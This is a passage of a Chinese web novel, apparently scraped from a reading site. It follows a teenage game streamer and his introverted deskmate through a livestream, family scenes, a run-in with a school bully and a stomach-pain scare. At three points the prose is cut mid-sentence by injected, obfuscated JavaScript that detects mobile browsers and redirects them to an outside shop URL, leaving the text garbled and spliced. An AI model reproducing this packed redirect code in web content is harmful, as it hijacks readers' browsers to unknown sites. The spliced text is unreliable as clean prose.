-我觉得我又可以了,烈焰圣杯启动!在线摇一个狼叔。 纪因蓝刚那波二打四实在太过精彩,直播弹幕数量短时间内翻了一番,水友们激动得嗷嗷乱叫,纪因蓝几乎要看不清弹幕内容。 他大概扫了一眼,随手把那个说废物的请出直播间,边道: “差不多行了,基本操作,没那么秀,用不着嚎成这阵仗。刚那波对面狮心王打挺好,也就是泰山一个人在前面吃了两个大招,扛了一吨伤,不然我和小羊至少得留一个。” -又谦虚了哥。 -不懂就问,主播ID如其人是吗? -说你圣父呢小孩哥。 -我替他解释,他不是在悲悯众生,他是在装杯。 “什么东西?实事求是而已。刚那波本来就一般,装不起来。不服去看前天直播回放,一小时零六分百加德二换五,那个吹一吹还行,看完回来给我写三百字小作文发公屏上,我来批阅。” -你们燕国地图挺长啊。 -时间都记好了,你说吧你一个人回味多少遍了? -该说不说那波确实秀。可惜小孩哥一带四没带动,中野全场梦游,小羊技能乱放,我从来没有像那局一样想念咯叽老师。 -呜呜呜真是,咯叽不在的时候小孩哥很少玩狼叔的,那局好不容易拿一次还坐牢。 -没办法,野人配合度确实很低啊。而且那局小羊先锁,那阵容要是不选狼根本打不了。 “需要回味?基操而已。你们眼光是被咯叽养高了吧,那局的小羊也还行,都过去那么久了就再别浪费时间复盘,记住我操作就行了。” 游戏结算结束,纪因蓝嚼着泡泡糖,随手给小羊咩咩叫点了一朵小红花。 丁逸逍立马在麦里尖叫: “为什么不给我点?我十分钟那波单杀不秀吗?” 纪因蓝敲了敲他的头像: “下次一定。” 队伍再次进入匹配队列。 他们一起玩了三把游戏,等第三把结束,纪因蓝给队友点完小红花退出结算界面回到组队房间后,原本四人行的队伍里只剩了三个人。 纪因蓝愣了一下,看好友列表里“小羊咩咩叫”的头像已经暗了下去,便立马取消准备,伸手把桌上的手机拿了过来。 他点开直播平台的私信界面,找见关注人列表里小咯叽的聊天框,敲敲点点。 inBlue:不玩了? 小咯叽:嗯。 小咯叽:太晚了。 inBlue:行。 inBlue:晚安。 小咯叽回了他一个表情包,那是猫爪TV自带的动画表情,一只小三花猫盖好被子,呼吸一起一伏,下面用两个可爱字体写着“晚安”。 直播间右下角的摄像头画面,那双漂亮的手重新回到了镜头下。 许最看着他重新进入匹配队列,才关了电脑收好书包,戴好耳机拿着手机往外走。 网吧里的烟草味还在飘,喧闹也还在继续,就算是隔着耳机也挡不住。 许最沿着墙边走,路过前台时,光头老板跟他打了声招呼: “走了?” 许最抬眸看了他一眼,不过很快就垂下视线,他没应声,只点了点头。 北川的冬夜,温度要比白日低许多,风不打一声招呼闯过,毫不客气钻进许最的衣领和袖口。 他一路走到公交站,等坐上末班车,他拿着手机的手已经被吹得通红。 手机屏幕里,inBlue没再玩百加德,他换了个有自保能力的英雄,正照常清线,可身边辅助旋转跳跃,原本是想放个技能消耗对面血量,谁想一个技能完美穿过兵线,三个小兵一个炮车原地爆开。 AD站在原地不动了。 辅助见状,也停了下来跟他大眼瞪小眼,峡谷下路一时只有幸存小兵在激战。 “第三次了。姓丁的,你刚吃掉的兵线和经验,未来要是变不成你的超绝控制和大闪开团,我就让你跟它们在地下相见。” 弹幕飘过一片“哈哈哈”,许最也跟着轻轻弯起了唇角。 而后,他将直播间最小化,点回inBlue的主页,找见了前天的直播回放,拉到了一小时零六分。 “一小时零六分对面火焰神祇先手开团,半秒后奥莉美娜操作失误,护盾无效,两秒时漏掉组合技最佳释放时机,但好在奥莉美娜在被火焰神祇切掉前及时放出大招,跟百加德R闪配合,给百加德叠加50%攻速移速与二段位移,之后百加德走位没有瑕疵,伤害打满二换五,可惜存活的队友没有把握住机会,浪费一波节奏,彻底陷入劣势。你玩得很好。” 在输入框里打完这段话,许最点了发送,而后取下耳机,把手机装回了口袋里。 激活门锁,按了密码,推门回家。 客厅冷色的光稍微有点刺眼,沙发上的男人正专心致志看晚间新闻,没分给他一点目光。 房间里年轻男生的叫骂隔着门板都能听见,听起来游戏战况十分激烈。 只有贴着面膜的女人听见声响探头看了一眼: “小最回来了?怎么这么晚?” 苏文丽走过来: “晚上吃了没?” “没。” “啊?”苏文丽愣了一下: “妈以为你要在学校吃过才回来,就没给你留晚饭,饿不饿?我下去给你买点东西吃?” “没事,不饿,不吃了。”许最换好鞋,低声道。 “那怎么行?不然我给你做点?想吃什么?”苏文丽抓着许最的袖子: “怎么这么重烟味?车上有人抽烟?这种人真烦!” 许最默默挣开她的手: “不饿,不吃了。” “你不吃饭怎么能行?明天怎么有精力学习?赶紧去洗个澡,把身上烟味去去,我去给你煮个面。” “我……” 许最张张口,还想说什么,却见苏文丽已经系好了围裙,完全没在听。 他抿抿唇,无声地叹口气,什么也没再说。 许最最终还是在苏文丽的劝说下吃了一碗加了两颗鸡蛋的面,等他回到房间关上门坐在床上,打开手机,inBlue已经下播五分钟了。 许最退出了早已黑屏的直播间,瞥见私信页有个小红点,正想点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12571150|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去,下一秒,房间的门毫无预兆被人从外推开,苏文丽端着两杯牛奶走进来。 许最立马关掉了手机。 “来,儿子,把牛奶喝了。” 苏文丽把刚热好的牛奶递给他: “喝了。” “……”许最看着那杯牛奶,轻轻皱了皱眉: “不喝了吧。” “喝了喝了。” 苏文丽把牛奶杯往他手里塞: “不喝牛奶怎么行?不喝牛奶哪来你这么高这么帅这么聪明?” 苏文丽一定要监督许最喝完那杯牛奶,一杯喝完,又把另一杯塞给他: “这杯也喝了。本来给你弟的,结果你弟说什么都不喝,倒了也浪费,来,都给你。” 苏文丽拿着两杯牛奶过来,如愿以偿得到两个空杯。 临走前,她见许最拿着手机,唇角向下撇了撇: “怎么拿着手机?暂时不睡就看会儿书吧,学习如逆水行舟,不进则退!你看你这次英语只考了一百四十八,你以前可是考过满分的,怎么现在次次就缺那几分?是不是懈怠了?是不是得反思一下?你看妈天天这么辛苦,你这么晚回来还得给你煮面热牛奶,还不都是为了你?离高三不远了,赶紧多学学。” 说着,她离开了许最的房间,临走前,她扬声朝隔壁喊了句: “许冠!你能不能小点声!别打扰你哥学习!” 许最看着苏文丽去了客厅,才下床关好房间的门。 门锁“咔哒”一声合上,许最想了想,又加了一道反锁。 做完这些,他才重新回到床上,按开了手机。 隔壁房间,许冠的声音透过墙壁传来,稍微有点吵。 许最戴好耳机,挑了首舒缓的轻音乐,勉强将那些噪音盖过一点。 点开刚才没能打开的聊天框,在他那一长串字下,是inBlue发来的问号。 小咯叽:前天直播回放二换五的观后感小作文。 小咯叽:你要的。 inBlue:真写啊,我开玩笑的。 inBlue:局势不必分析,夸我就行。 小咯叽:好。 小咯叽:你很棒。 inBlue:你别太好玩。 许最盯着这句话看了很久。 他在输入框里删删改改,最后也不知道该怎么回复,只好挑个不会出错的可爱表情包发过去。 等了一会儿,对面没有再回,看来这场闲聊就算是结束了。 许最抿抿唇,点回了inBlue的主页,保存了最近这两天的直播回放,把他的高光时刻截下,简单剪成视频,发到了小咯叽的社交平台。 胃开始痛了,痛到许最额角渗出细细的汗珠。 -咯叽这么晚还剪视频? -inBlue安利站站长名不虚传。 -我都感动了。 -@inBule速来痛哭。 -这狼玩得不错啊?谁啊? 最后一条像是路人发言,很快就有热心水友把inBlue的名字跟在下面。 许最看着那一串inBlue,指尖顿了顿。 几秒后,那条评论下面多了一条回复。 小咯叽:我的AD。 14.014:撑腰 “感谢‘inBlue20年老粉’的猫猫游乐园,感谢‘哔哔吧哔啵’的猫猫魔法棒,感谢……” 纪因蓝坐在电脑前,例行公事般面无表情地念完礼物名单,而后长舒口气,伸个懒腰,道: “行,今天差不多了,下播!你们也早点睡。” 说完,纪因蓝没有一点留念,立马结束直播,关闭电脑。 他晚上赶着直播,没好好吃东西,现在才感觉肚子有点饿。他摸出电竞房,想去冰箱里找点东西填填肚子,结果刚开门就遇见了打包夜宵回家的纪四余。 纪四余见鬼似的盯着他: “你什么情况?闻着味就出来了?” 纪因蓝一双眼睛都在她手里的打包盒上: “没啊,纯属巧合,这不刚下播想找点东西吃,一开门你就回来了。这说明什么?” “说明你早有预谋蹲守已久。” “……说明我们姐弟心有灵犀。” “行了,就知道你又没好好吃饭,拿去吧。” 纪四余看他好笑,她抬手将餐盒递给纪因蓝,抬眸看他一会儿,瞧着那鸡窝头,再看看半开的电竞房房门,表情一时认真了点: “我说你,现在咱又不比前几年,咱现在不缺钱,你天天白天上课晚上直播不累吗?看你每天觉都睡不够,天天困得跟个见不得光的小妖精似的。” 纪因蓝听着她的话,边拎着餐盒放到桌上,打开一看,都是自己爱吃的。 他迫不及待夹了一块排骨丢进嘴里,边嚼边含糊道: “那敢情好啊,咱明天办个退学,以后我全职直播,晚上直播早上补觉,爽!” 纪四余毫不留情往他头上扇了一巴掌: “腿给你打断!” 纪因蓝被她这一掌弄得差点呛死在桌上。 他咳了两声,才正儿八经回答道: “别担心了,我现在直播纯属爱好,每天快乐着呢。要真不想播,早撂挑子不干了。” 纪四余洗了手坐在他身边,也拿了块排骨啃: “嗯,反正你自己的事你自己掂量,喜欢就好,喜欢就做,我不管你,但前提是要照顾好自己,身体健康不能出问题。那话怎么说的?身体是革命的本钱!” “知道了知道了。这话你说多少遍了都。” 纪因蓝点点头,抽空评价一句: “这排骨没入味,不够辣,下次不买他家。” “你怎么那么多毛病?”纪四余踹了一脚他的椅子腿: “对了,今天陆珏到你们班上了吧?” “嗯,来了,跟丁子聊可好了,刚我们还一起打游戏来着。把你心放肚子里吧,他压根不需要人关照。” 纪因蓝随口道,片刻后,他顿了顿,又想起另一个人: “哎,姐。” “嗯?” “我有个问题。你说,那种话特少特内向情商还特低的人,到底要怎么相处?” “怎么?”纪四余微一挑眉。 “没,今天有个跟陆珏一起过来的转班生,坐我旁边了,人怪怪的,跟他相处一天,把我差点气撅好几次。” 纪因蓝扒拉着碗里的饭,漫不经心道。 “你脾气差又没耐心,还说别人怪?是个人都能气到你好吧。人有多内向?跟你一比是个人都内向不善交际。” “呃……”纪因蓝回忆片刻许最的光辉战绩: “为了逃避开学典礼发言,干嚼冰块把自己变成公鸭嗓算不算?” 纪四余一口水差点喷出来。 她呛咳两声: “这么夸张?那确实有点……男生女生?” “男的。”纪因蓝想了想,又道: “但好像又不是完全的内向。他虽然不能说,但特能写,写出来的文字跟他本人像两个人,纸上挺有表达欲,一让开口就装鹌鹑。” 听着纪因蓝的形容,纪四余思索片刻,有了答案: “那应该不是内向,是表达方面的问题吧?据你描述,他不太习惯跟人直接交流,但借用纸和手机之类的媒介在中间传达就会好得多。人是很复杂的生物,别人性格里每个让你觉得奇怪的点可能都有一段故事,你虽然没法帮他解决,但至少能做到不落井下石雪上加霜,总之,多点包容吧。收收你的臭脾气就行了。” “哦——”纪四余这段话一出,纪因蓝突然高深莫测地拖着声音分析: “经历与故事源自性格?好高深。我明白了,所以姐你现在这么抠门是因为咱以前太穷,穷怕了!兄弟们我说的对吗?” “对你个蛋!”纪四余又一脚踹在椅子上: “你要死啊!你不抠门?你不抠把你提现账户换成我的卡试试!” 纪因蓝原本就没坐稳,被纪四余这么一踹,更是直接在地上摔了个大马趴,看起来惨兮兮。 “纪四余我要报官抓你,你家暴。” 纪四余根本不在乎他的死活: “在官老爷来之前我就把你分尸塞冰箱里。请问把忤逆长辈的弟弟塞进冰箱需要几步?” 纪四余和纪因蓝家里没有爹妈,纪因蓝被纪四余一个人拉扯大,虽然被称呼为“姐姐”,实际却又是爹又是娘。 他俩都算是对方唯一的亲人,从小打闹到大,关系很好,玩笑随便开,就算前一天吵了架,后一天也能解决好问题像没事人似的坐在一起吃东西。 一顿夜宵解决完,纪因蓝收拾好碗筷,回到房间,躺在床上点开了手机里某个APP。 过了一会儿,微信弹出一条消息,是纪四余发来的一条银行卡入账截图,里面数字不小,后面还跟了纪四余发来的问号。 蓝.:提现账户改成你的不可能,但每个月可以给你一半。都是我一句句感谢一个个恰饭换来的血汗钱,省着点花。 蓝.:纪四余你感不感动?哭一个给弟看看。 姐(暴躁大母猴版):打发叫花子呢? 姐(暴躁大母猴版):拿着滚回去,不缺你这点。 “叮——” 手机银行弹窗出现,纪四余把纪因蓝刚才打去的钱原封不动转了回来。 纪因蓝看了一眼,轻笑一声,关了手机,随手丢到了一边。 _ 学生的日常其实挺无聊,换了个同桌则让这份无聊雪上加霜。 纪因蓝觉得跟许最说话会让自己血压变高,所以非必要不跟他交流,好在许最这家伙虽然情商过低,但一般情况下不会上赶着烦人,因此纪因蓝和他相处还算和谐。 二月末的北川,气温一天一个样,仔细看,有些树枝头的雪都还没化干净,有些树却已经冒出了嫩芽。 纪因蓝从家门口坐公交到北川一中,下车后抬头看看湛蓝的天和阳光,在心里盘算着或许天气再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12592497|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖和一点就能搬出自己落灰的自行车当代步工具。 他散步似的穿过学校的林荫道。 今天起得有些晚了,到学校后又快要到早读的点,不过好在牛猛今天没在校门口当特务,纪因蓝可以慢悠悠踩着点晃回教室,不用听牛猛跟在自己身后着急催命。 这个时间,校园里没几个人,连环境区的值日生都收拾东西回了教室,偌大的校园一时好像只剩了纪因蓝一个人在悠闲。 但走近教学楼后,他突然注意到教学楼侧边楼梯的监控死角有几个人影。 原本纪因蓝没太在意,但他看其中有个高个子白书包实在眼熟。 许最? 许最站那干什么? 团建呢? 纪因蓝可不相信那鹌鹑能勇敢地跟好几人站在一起谈笑风生。 所以他特意绕过去看了一眼。 等走近,他才看清,那些人里除许最之外,还有个熟面孔。 那不是崔哲言吗? 纪因蓝皱皱眉。 那家伙跟许最同框出现能有什么好事? “哎,许最,我说,你心思挺多啊?” 果然,刚一靠近,纪因蓝就听见崔哲言那独特的油腻腔调在叨叨: “怎么,一班待不下去转班了?你转班就转呗,转九班几个意思?为了离姜闪闪近点?看不出来啊,表面上一本正经的,背地里这么骚?”说着,崔哲言跟身边人对个眼神,几个男声的笑声是如出一辙的恶心人。 “哎,你别走啊。咱俩好好聊聊天,你走是什么意思?” 崔哲言的声音沉了下去: “你不是很会告状吗?咋,我欺负你了是吧?你怎么跟牛猛说的?他找我谈话几个意思?来,你告诉我,我欺负你了?” “……” “没事转什么班啊你?去九班想让姜闪闪护着你是吧?那娘们说句喜欢你给你脸了?我说没说过那女的我要了,你也不看看你这样子配不配得上,怪胎一个,谁稀得理你?” “不配。”许最声音淡淡。 而后纪因蓝听见崔哲言笑了一声,但他没笑完。 因为许最紧跟着又来了句: “你配?” 这一回合,笑容转移到了纪因蓝脸上。 早说了许最这人说话自带仇恨DeBuff。 “哟,去了九班人也硬气了,哑巴会说话了,几天没跟你玩,分不清大小王了是吧?” 崔哲言这话几乎咬着牙: “牛猛于妙姜闪闪都不在这,谁能给你出头?啊?你找人告状啊,你不是很会告吗?我看看谁罩你,谁给你的勇气这样跟老子……” “咳咳——” 纪因蓝踢了一脚拐角处楼梯扶手下方的金属片,造出一道刺耳的巨响,打断了崔哲言的话。 他散步似的走过去,走到许最身后,抬手拎着许最的书包提手,把人往自己这边拽了一把。 许最朝后稍微踉跄两步,垂眸静静地看着他。 “崔哲言,是这个名字是吧?” 纪因蓝嚼着泡泡糖,朝崔哲言扬扬下巴: “崔哲言,几天没跟你玩,分不清大小王了?” 纪因蓝学着崔哲言刚才的话,嚣张得够可以: “这几个人不够,要不把你爹摇来?我看看谁罩你,谁给你的勇气,这样跟老子的同桌说话?” 15.015:牛奶盒 看见纪因蓝,对方几人的表情都是一顿。 显然,他的出现在他们的意料之外。 崔哲言嘴角那个看起来十分刻薄的弧度立马僵硬: “你,你怎么……” “我怎么会出现在这?” 纪因蓝嗤笑一声,替他说完了后半句,顺便以一种嚣张至极的眼神将他上下打量一遍: “我迟到了,不行?我这人就爱迟到,还爱到处闲逛,这么惊讶干什么?想趁我不在欺负我的人,结果不小心被我发现了?” 纪因蓝这话令对面几人又是一怔。 而听见他话里那句“我的人”,许最眼神微动,眉梢轻挑,将目光落到了纪因蓝身上。 纪因蓝没有注意到他这点小动作。 他只又往前走了半步,像是将许最护到了自己身后。 他盯着崔哲言那张难看的脸,眸色不善: “你刚说,什么娘们,什么女的,什么配不配,你再说一遍,我没听清。” “你……” 纪因蓝没等崔哲言说完就打断了他: “配什么,配钥匙吗?你配吗?你配几把?” 纪因蓝眼里闪过一丝戏谑,崔哲言这才反应过来自己是被他拐着弯骂了。 他心里闷着一口气,左右看看,发现自己这边占着人数优势,根本不需要怂,但不知为何,可能是纪因蓝压迫感太强,他第一反应居然不是呛回去或者给对方个教训。 “纪因蓝,我警告你,你小子别他妈太嚣张!” 崔哲言壮壮气势,瞪着纪因蓝的眼睛: “少他妈多管闲事!我找许最说两句话跟你有关系吗?这有你事?你家住海边啊管那么宽?怎么?以后兄弟找谁说话都得跟你报备两句,你多大脸?” “我才懒得听你报备,更懒得管你闲事,但有件事我今天得在这跟你说清楚了。” 纪因蓝嚼着泡泡糖,慢悠悠朝前晃了两步,扬扬下巴,居高临下地对上崔哲言的视线。 他看出崔哲言下意识想后退,也没说什么,只轻轻嗤笑一声,抬手用食指戳了戳他的肩膀: “朋友,你自己几斤几两你是真不知道?姜闪闪但凡眼珠子还在脸上安着就不可能看得上你,人跟你一点关系都没有你还在这配不配上了,养殖场里的猪配种还知道优配优,就你个癞□□不好好在坑里待着还天天惦记那口天鹅肉。以后再在背后跟讨论物件似的说人小姑娘,你试试呢?” 说着,他又回头看了眼许最: “还有,你以前和许最有什么矛盾,我确实管不着。但现在他是我们九班的人,人三好学生天天忙着好好学习,没时间跟你瞎叨叨,有什么话来跟我说,我心情好了就替你传达两句,心情不好你就趁早滚蛋。要是觉得他好欺负好拿捏,那你先想想怎么整他能不留下罪证让我逮不着你,不然就趁早歇了心思,毕竟我纪因蓝就是不惧艰险侠肝义胆,看有人欺负我们好学生我就手痒,下次想找抽直接把脸送我跟前来说句‘蓝哥请赐教’,别绕这么大弯子浪费大家时间,反正结局都一样,好吧?” 这一通输出结束,崔哲言气得肩膀都在颤。 他垂在身侧的拳头紧紧握起,用力到手背都凸起了青筋。 纪因蓝看出他想动手,但他没什么反应,只站在原地好整以暇地等着他。 见气氛不对,过来给崔哲言撑场子的兄弟拽拽他的衣角,小声道: “言哥,别上头,这在学校里,谁先动手先吃亏,他故意激怒你,你可别着他道。到时候背个处分谁都不好受,他个普通班混子背个处分没什么,你可是一班尖子生,别因为一时之气影响自己的前途。” 崔哲言听完他的话,心里那口闷气才总算顺了一点。 他攥紧的拳头稍稍松了些,可能是不愿让自己看起来太狼狈,他盯着纪因蓝的眼睛,离开前还要咬着牙恶狠狠留下一句: “纪因蓝,记住你今天嚣张的样子,今天这口气我必出。你给我等着。” 这小孩撂狠话似的语气给纪因蓝听笑了: “放心,我记性好得很,忘不掉,随时恭候。” 崔哲言泄愤似的偏头淬了一口,而后抬步离开了这里,走前还故意撞了一下纪因蓝的肩膀。 纪因蓝没把这跳梁小丑放在眼里,他浅浅翻了个白眼,正打算带许最离开这晦气地方,但还没等他转过身,他先听见崔哲言一句恼羞成怒的: “撑腰的来了硬气了是吧?你他妈笑什么笑?” “?” 纪因蓝下意识回头看了一眼。 崔哲言这话明显是在说许最,但纪因蓝转头时确实没在许最脸上找见一丝笑过的痕迹。 那家伙日常冷着脸,额前略微有点长的头发挡了点眼睛,在本就显得冷淡的单眼皮上多添了一丝阴郁。被崔哲言莫名其妙说了一句后,他似乎有点茫然,完全不知道发生了什么。 他看看崔哲言,又将目光挪到纪因蓝这里,最后垂下了眼,看起来无辜且委屈。 纪因蓝皱了皱眉: “品性不好素质不好脑子不好眼神也不好?别特么找茬!” “你……!” 崔哲言一张脸都涨红了。 他不可置信地盯着许最,憋了半天,最后也只崩溃地骂了声带着尖锐尾音的“草”,带着人大步走了。 纪因蓝等那群人走远后才拍拍许最的肩,示意他跟自己回教室。 刚才耽误得稍微有点久,早读课已经开始了,走在楼梯间里都能听见各个楼层教室里的齐声朗读声。 纪因蓝正在想要怎么跟狂躁症海胆哥解释自己迟到的事,自己学不好他的课本来就让他恨得牙痒痒,现在被抓到错误肯定又免不了一顿阴阳。纪因蓝想想就头疼,但再一想,自己旁边还有个许最呢,这年级第一在他们九班算是国家一级保护动物,看在许最的面子上,海胆哥大概也不会太为难自己。 不是,等等。 他怎么沦落到要靠许最的面子了? 纪因蓝正反思自己,冷不丁听到旁边人一句小声的: “谢谢。” 纪因蓝略感诧异,他看了许最一眼,就见许最垂着眼,手正抓着他自己的书包带。 “谢什么?崔哲言当着我面欺负我班人是在打我脸,再说,我早看他不顺眼了,这次正好找到机会骂他两句。” 说着,纪因蓝抬头看看楼梯上面,发现他今天真不是一般幸运,校门口没撞到牛猛不说,连楼梯间都不见他的身影。 纪因蓝心情好了点,顿了顿,他又问: “话说回来,你今天怎么回事啊?怎么又被那孙子堵那儿了?” “没……来晚了,碰巧遇到。” 许最低声解释。 “你怎么知道是碰巧?人故意在那蹲你能让你知道?” “……不知道。” “你怎么被拽去那的?他们让你去你就去?” 纪因蓝越说越气: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12612993|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你不会拒绝?不会让他们滚啊?就算看他们人多不好起冲突,跟老师告状也不会?你这么大个人,看着也不瘦弱,跟他们站一起未必占不到便宜,怎么能被欺负成那样?那崔哲言都快跳你脸上了。” “……” 许最不说话了。 这让纪因蓝有种自己在对着石头发火的错觉。 他在心里重重叹了口气,自己把那点情绪消化完,才道: “你不是加我微信了?” “嗯。”石头又活了。 “不会拒绝不会反抗不会告状,摇人总会吧?下次遇见这种事跟我说一声,我来捞你。” 纪因蓝抿抿唇,再开口时声音比之前低了些: “说出去好歹是纪因蓝的同桌,还能被那孙子欺负,这让别人知道了还怪丢人的。” “哦。”许最点点头,悄悄看他一眼,试探似的道: “对不起。” “?”纪因蓝皱起眉: “你道个什么歉?你做错什么了?没说你丢人,别动不动跟人道歉,臭毛病。” 话是这样说,但顿了顿后,他不知想到了什么,突然轻咳两声,抬手碰了一下许最的手腕: “哎。” “嗯。” “你刚来那天我说你怪人、傻逼,对不起啊。这确实要跟你道个歉,没欺负你的意思,纯属我素质不高。” 纪因蓝平时跟身边朋友们粗鲁惯了,互相骂几句是常有的事,谁都不会放到心上。 但许最不一样,回去后纪因蓝总能想到那天许最背后那张纸条上那些难听的词,要较起真来,自己说的那些话能好到哪去?他跟霸凌许最的那些人有什么不同?许最自己又意识不到自己情商低惹人生气,只知道给人教单词还得被骂,那回家回想起来说不定又是幼小心灵上的一道伤痕。 这话说完,身边许最沉默片刻。 直到纪因蓝等不下去偏头看他一眼,许最才有些茫然地“啊”一声: “你在说我?” “?” “我以为你在问单词。” 许最语气淡淡: “没事。你……和他们不一样。” 不一样? 都是骂人的词,谁比谁高贵了? 纪因蓝有点奇怪,但他们已经走到了班级所在的楼层,便也不好再问。 走出楼梯间时,纪因蓝习惯性把手插进外套口袋里。 口袋内衬柔软,此时却躺着一个有棱有角的硬东西。 纪因蓝把那东西拿出来看了一眼,发现是早上带出来忘记喝的牛奶。 纪因蓝在公交车上吃了面包,已经饱了,他对牛奶也没那么深的执念,留着估计也不会喝。 所以他转头看了许最一眼: “哎。” “嗯。”许最抬眸看向他。 “你早上吃东西没?” “没。” “那你拿着喝吧。” 纪因蓝把牛奶给他,而许最下意识抬手接了过来。 “我去看看海胆来了没。” 说完,纪因蓝便朝九班的方向小跑几步,而许最留在他身后几步的位置,若有所思地垂眼看着自己的手。 少年的指尖碰了一下他的掌心,一触即离,留下的牛奶盒还带着他的体温。 许最轻轻抿起唇角。 他把牛奶盒装进进口袋里,缓缓垂下了手。 手指蜷起,指尖微微抵着掌心。 16.016:课间 纪因蓝今天走了大运,一路上都没碰见神出鬼没的牛猛不说,连本该带九班英语早读课的海胆哥也不在教室,现在在台上领英语早读的是九班学委兼英语课代表李思勉。 迟了几分钟早读而已,李思勉自然不会在这种事上为难同班同学,他隔着眼镜抬眸看着纪因蓝和许最从后门走进教室,什么也没说,只照常读起下一个单词。 坐到自己的位置上,纪因蓝随手把书包塞进桌子里,抬手戳戳丁逸逍的背: “丁子,今天什么日子?老牛和海胆都不见影。” 丁逸逍用立起的英语书挡着自己的脸,转过头小声告诉他: “打听过了,新学期教学计划研讨会。老师都开大会去了,连第一节英语课都改自习了,爽吧?” 纪因蓝真情实感地感叹一句: “爽!” 说实话,自习课和英语课对于纪因蓝来说其实没有什么区别,都是睡觉,不同就是一个能大大方方睡,另一个只能偷偷摸摸睡,还得时刻防备着海胆哥的激光扫射和粉笔发射攻击。 纪因蓝昨天玩得有点晚,早上吃饱了坐在这,熬夜困和食困一起犯,没多久就趴桌上沉沉睡去,等香喷喷的一觉醒来,第一节自习课都已经结束了。 好歹课间还有十分钟,纪因蓝打了个哈欠,正想着再趴一会儿闭目养神,谁想眼睛刚闭上,几秒后,他突然意识到了什么,又猛地睁开眼坐直了身子。 他看着自己旁边的人。 许最正趴在桌上,脸埋在臂弯里,纪因蓝只能看见他的后脑勺。 这本来是挺平常一件事,学生上课上累了课间趴着睡一会儿多正常啊? 但要是把主角换成许最,情况就有点不同寻常了。 虽然纪因蓝才跟许最坐一起没几天,但他已经大概摸清了这人的习性。 许最这人除了不爱说话、不会社交以外,还有一大特点——沉迷学习。 至少跟他当同桌的这几天,纪因蓝没见他休息过。上课在认真听讲,下课在写题,要么就拿着小本背课文背单词,别说趴着了,就是肩膀纪因蓝也没见他垮过一下,无论何时都坐得笔直,像是不会被任何事压弯他倔强的身姿。 刚还没睡醒迷迷糊糊的时候,纪因蓝瞥了一眼,恍惚间还以为自己旁边是丁逸逍,毕竟他这兄弟也是出了名的睡神。 “学霸,这题——” 想丁逸逍丁逸逍就到,许最前座的家伙举着作业本转过来想问他题,结果回头看见许最还在桌上趴着,嘴里没说完的话戛然而止,变成一句小声的: “还睡着啊……” “啊?”纪因蓝像是听见了什么了不得的新鲜新闻: “什么叫‘还睡着’?他睡多久了?” “小半节课了吧,上节自习我想跟你说话来着,回头就看你俩睡得可香了。我说蓝,你看你,把人许最都带坏了,年级第一的自习课是用来睡觉的吗?啊?时间就是生命,你浪费人家几年寿命?” “关我屁事?” 纪因蓝翻了个白眼,正想跟丁逸逍友善招呼几句,便听身边传来一句弱弱的: “没……” 乍一听这动静,纪因蓝还以为许最要断气了。 他挑挑眉,转头看了一眼,就见许最撑着身子微微抬起脸,额前的发丝略有些汗湿,脸色苍白得像是死了三天。 纪因蓝吓了一跳。 “你怎么了?” 他打量许最一眼,发现他另一只手攥着腹部的衣料,便猜: “肚子疼?” “……胃疼。” 纪因蓝要很努力才能听清许最说话的声音: “没事。” “没事?你看着比丁逸逍他太奶扎的纸人还像死人。” 纪因蓝冷漠评价一句: “不舒服去医务室啊。在这耗着能好?” “能。”许最哑着嗓子: “一会儿就好。” 行。 纪因蓝见识到了。 小病靠扛大病靠死是吧? 但人好端端怎么会胃疼?他早上也吃了点东西啊。 这样想着,纪因蓝突然瞥到了许最桌角放着的牛奶盒。 他心里一咯噔—— 靠。 牛奶不会过期了吧? 校园投毒杀友案竟是我自己? 纪因蓝家里就他和纪四余两个人,纪四余又是个粗心鬼,每次都买一堆东西来不及吃放到过期。可纪因蓝前几天才检查过家里的食物,应该都没问题才对。 但以防万一,他还是拿着牛奶盒看了一眼。 没问题啊,日期很新鲜。 “什么?胃疼?学霸,你什么病啊?我这有胃药你来一片不?一次一片,就着水咽了就行。” 陆珏听见他们的动静,回头看了一眼,随手从包里掏出一小盒药片放到许最手边。 那语气的轻松程度,不知道的还以为是幼儿园小朋友在分糖果。 “药是能乱给的吗?吃坏了谁负责?” 纪因蓝拿过那药盒,看了眼说明,又碰碰许最的手臂: “哎,你什么毛病?胃炎?胃溃疡?你自己有药吗?不能每次都靠扛吧?” 许最白着脸坐直身子,说了句什么,纪因蓝没听清。 他皱皱眉,不耐烦道: “你哑巴吗,能不能大点声,说清楚点,什么毛病?” 这次许最倒是说清楚了。 但等听清后,他周边三人的表情都是一僵。 “……胃癌。”< 